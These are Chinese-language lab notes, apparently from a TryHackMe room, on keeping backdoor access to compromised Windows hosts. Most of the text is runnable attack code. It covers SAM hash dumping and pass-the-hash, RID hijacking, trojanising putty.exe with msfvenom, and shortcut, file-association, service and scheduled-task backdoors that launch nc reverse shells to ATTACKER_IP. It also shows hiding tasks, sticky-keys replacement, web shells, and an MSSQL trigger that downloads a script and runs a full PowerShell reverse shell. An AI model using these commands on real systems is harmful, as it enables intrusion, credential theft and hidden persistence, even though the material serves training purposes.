Windows 本地权限维持
Assign Group Memberships
分配用户组
C:\> net localgroup administrators thmuser0 /add
C:\> net localgroup "Backup Operators" thmuser1 /add
C:\> net localgroup "Remote Management Users" thmuser1 /add
分配至 administrators 组是最直接的方法,但是太容易被发现,因此可以添加到 “Backup Operators” 组中,备份操作员组可以忽略 DACL 读取/写入系统上的任意文件,可以复制 SAM 和 SYSTEM,因此可以恢复所有用户的密码 Hash,轻松接管任意用户;由于非特权用户无法远程管理计算机,所以可以添加至 “Remote Management Users” 组获得 WinRM 管理权限,或者 “Remote Desktop Users” 获得 RDP 权限
另外,由于 UAC 的存在,WinRM 连接时会失去管理权限,所以即便在 “Backups Operators” 组中也无法访问所有文件,,因此需要禁用 LocalAccountTokenFilterPolicy
C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
在新的连接中可以获取用户密码 Hash 备份
*Evil-WinRM* PS C:\> reg save hklm\system system.bak
*Evil-WinRM* PS C:\> reg save hklm\sam sam.bak
*Evil-WinRM* PS C:\> download system.bak
*Evil-WinRM* PS C:\> download sam.bak
使用 secretsdump.py Dump Hash
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
最后 PTH 获取管理员权限
user@AttackBox$ evil-winrm -i MACHINE_IP -u Administrator -H [Hash]
Special Privileges and Security Descriptors
无需修改任何组成员身份即可实现与将用户添加到 Backup Operators 组类似的结果。特殊组之所以特殊,是因为操作系统默认为它们分配了特定的权限。权限只是在系统本身上执行任务的能力。它们包括简单的事情,例如能够关闭服务器的能力,以及非常特权的操作,例如能够获得系统上任何文件的所有权。
首先导出配置文件
secedit /export /cfg config.inf
![[assets/Pasted image 20231116171331.png]] 修改内容
最终将 .inf 文件转化为 .sdb 文件,然后加载回系统
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf
现在拥有一个与备份操作员具有同等权限的用户。用户暂时无法通过WinRM登录系统。我们将更改与 WinRM 服务关联的安全描述符以允许 thmuser2 连接,而不是将用户添加到远程管理用户组。将安全描述符视为 ACL,但应用于其他系统设施。
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
![[assets/Pasted image 20231116171537.png]] 添加图中的权限 更改 UAC 相关注册表,以在 WinRM 中可以使用特殊权限
C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
RID Hijacking
RID 劫持无需成为管理员即可获得管理权限,更改某些注册表值,使操作系统认为您是管理员。
查看所有用户的 RID (sid 的最后一位)
C:\> wmic useraccount get name,sid
Name SID
Administrator S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount S-1-5-21-1966530601-3185510712-10604624-503
Guest S-1-5-21-1966530601-3185510712-10604624-501
thmuser1 S-1-5-21-1966530601-3185510712-10604624-1008
thmuser2 S-1-5-21-1966530601-3185510712-10604624-1009
thmuser3 S-1-5-21-1966530601-3185510712-10604624-1010
其中 thmuser3 的 RID 为 1010
修改 SAM 注册表(需要 SYSTEM 权限)HKLM\SAM\SAM\Domains\Account\Users\
查找 1010=0x3F2 Key,修改 F 值的 0x30 位置,小端发写入管理员的 RID(500=0x01F4)F4 01
![[assets/Pasted image 20231117102042.png]]
这样在登录 thmuser3 时 lSASS 会将其与管理员相同的 RID 关联起来,并授予相同的权限。
Executable Files
在用户桌面出现的可执行程序,说明用户经常使用 C:\Program Files\PuTTY\putty.exe 因此可以注入恶意 shellcode 到 exe 中,文件正常使用,但会在启动时通过额外的线程以静默方式执行恶意代码,可以通过 msf 添加
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
Shortcut Files
劫持快捷方式
![[assets/Pasted image 20231117103321.png]]
先生成一个恶意程序 C:\Windows\System32\backdoor.ps1
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"
C:\Windows\System32\calc.exe
![[assets/Pasted image 20231117103353.png]] 修改快捷方式 Target
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
Hijacking File Associations
除了通过可执行文件或快捷方式进行持久化之外,我们还可以劫持任何文件关联,以强制操作系统在用户打开特定文件类型时运行 shell。
注册表 HKLM\Software\Classes\ 中为每个文件类型存储一个密钥,对于 .txt 文件具有以下 ProgID
![[assets/Pasted image 20231117105941.png]]
可以搜索相应 ProgID 的子项(也在 HKLM\Software\Classes\ 下),对于 txtfile 类型,可以在其中找到负责处理 .txt 的程序的引用文件。大多数 ProgID 条目在 shell\open\command 下都有一个子项,其中指定了对具有该扩展名的文件运行的默认命令
![[assets/Pasted image 20231117110128.png]]
在这种情况下,当您尝试打开 .txt 文件时,系统将执行 %SystemRoot%\system32\NOTEPAD.EXE %1 ,其中 %1 表示打开的文件的名称。如果想劫持这个扩展,可以用执行后门的脚本替换命令,然后像往常一样打开文件。
首先,我们创建一个包含以下内容的 ps1 脚本并将其保存到隐蔽位置 C:\Windows\backdoor2.ps1 :
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.10.19.77 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]
然后修改注册表的执行命令 ![[assets/Pasted image 20231117110245.png]]
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor2.ps1 %1
Creating backdoor services
可以创建后门服务,以此来维持权限
创建修改密码的服务
sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice
也可以创建 backdoor
user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe
sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2
Modifying existing services
创建新服务很容易被发现,因此可以修改现有服务,或现有服务的可执行程序来实现
获取可用服务列表
C:\> sc.exe query state=all
SERVICE_NAME: THMService1
DISPLAY_NAME: THMService1
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
查询服务配置
C:\> sc.exe qc THMService3
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: THMService3
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\MyService\THMService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : THMService3
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITY\Local Service
使用服务做权限维持时,只关心三件事
- 可执行文件 (BINARY_PATH_NAME) 应指向我们的有效负载。
- 服务START_TYPE应该是自动的,以便有效负载无需用户交互即可运行。
- SERVICE_START_NAME(即运行服务的帐户)最好设置为 LocalSystem 以获得 SYSTEM 权限。
重新配置服务
C:\> sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"
检查服务配置
C:\> sc.exe qc THMservice3
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: THMservice3
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\rev-svc2.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : THMservice3
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Task Scheduler
使用计划任务来维持权限
创建一个计划任务,每分钟运行一次
C:\> schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
检查计划任务是否成功创建
C:\> schtasks /query /tn thm-taskbackdoor
隐藏计划任务,所有计划任务的安全描述符都存储在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ 中。您将找到每个任务的注册表项,在该注册表项下,名为“SD”的值包含安全描述符。只有在您拥有 SYSTEM 权限时,才能擦除该值。
可以使用 PsExec64.exe -s -i regedit 来提升权限

再次搜索时,系统会告诉没有这个计划任务
C:\> schtasks /query /tn thm-taskbackdoor
Startup folder
开机启动文件夹,登录触发
用户级:
C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup系统级:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
C:\> copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
Run / RunOnce
通过注册表操作开机启动项
HKLM\Software\Microsoft\Windows\CurrentVersion\RunHKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
WinLogon 组件
Winlogon 使用一些注册表 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
Userinit指向userinit.exe,它负责恢复您的用户配置文件首选项shell指向系统的 shell,通常explorer.exe为 。 修改其一实现权限维持
Logon scripts
加载用户配置文件时要做的一件事是 userinit.exe 检查名为 UserInitMprLogonScript 的环境变量。我们可以使用此环境变量将登录脚本分配给用户,该脚本将在登录计算机时运行。默认情况下没有设置该变量,因此我们可以创建它并分配我们喜欢的任何脚本。
若要为用户创建环境变量,可以在注册表中转到该 HKCU\Environment 变量。我们将使用该 UserInitMprLogonScript 条目指向我们的有效负载,以便在用户登录时加载它。
RDP 后门
如果我们对计算机(在本例中为 RDP)具有物理访问权限,则可以在登录屏幕后门访问终端,而无需计算机的有效凭据。
- Sticky Keys 粘滞键 -
c:\Windows\System32\sethc.exe - Utilman 优蒂曼 -
C:\Windows\System32\Utilman.exe - 放大镜、对比度主题、屏幕键盘…
首先获取文件权限,然后才能替换为 cmd.exe
C:\> takeown /f c:\Windows\System32\sethc.exe
C:\> takeown /f c:\Windows\System32\utilman.exe
C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
C:\> icacls C:\Windows\System32\utilman.exe /grant Administrator:F
C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
c:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Using Web Shells
在 Web 服务器中实现持久性的常用方法是将 Web Shell 上传到 Web 目录。这是微不足道的,它将授予我们以 IIS 中配置用户的权限访问,默认情况下为 iis apppool\defaultapppool .即使这是一个非特权用户,它也有特殊的 SeImpersonatePrivilege ,提供了一种使用各种已知漏洞升级给管理员的简单方法
默认情况下,webroot 位于以下 C:\inetpub\wwwroot 目录中
C:\> move shell.aspx C:\inetpub\wwwroot\
C:\> icacls shell.aspx /grant Everyone:F
Using MSSQL as a Backdoor
有几种方法可以在MSSQL Server安装中植入后门程序,比如滥用触发器。MSSQL中的触发器允许绑定当数据库中发生特定事件时要执行的操作。这些事件的范围可以从用户登录到从给定表中插入、更新或删除数据。,现在为 HRDB 数据库中的任何 INSERT 创建一个触发器。
首先启用 xp_cmdshell,打开一个 MSSQL Shell

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO
sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO
默认情况下,只有具有该角色的 sysadmin 数据库用户才能执行此操作。为了让所有访问数据库的网站都可以运行 xp_cmdshell ,向所有用户授予模拟数据库管理员 sa 用户的权限。
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
配置了一个触发器。我们首先切换到 HRDB 数据库:
USE HRDB
触发器将利用 xp_cmdshell 执行 Powershell 从攻击者控制的 Web 服务器下载并运行 .ps1 文件。触发器将配置为在 HRDB 数据库 Employees 表中执行: INSERT
CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees
FOR INSERT AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:80/shell.ps1'')"';
现在后门已经设置好了,让我们 evilscript.ps1 在攻击者的机器中创建,其中将包含一个 Powershell 反向 shell:
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
现在只需开启 HTTP 服务,然后插入数据触发即可。
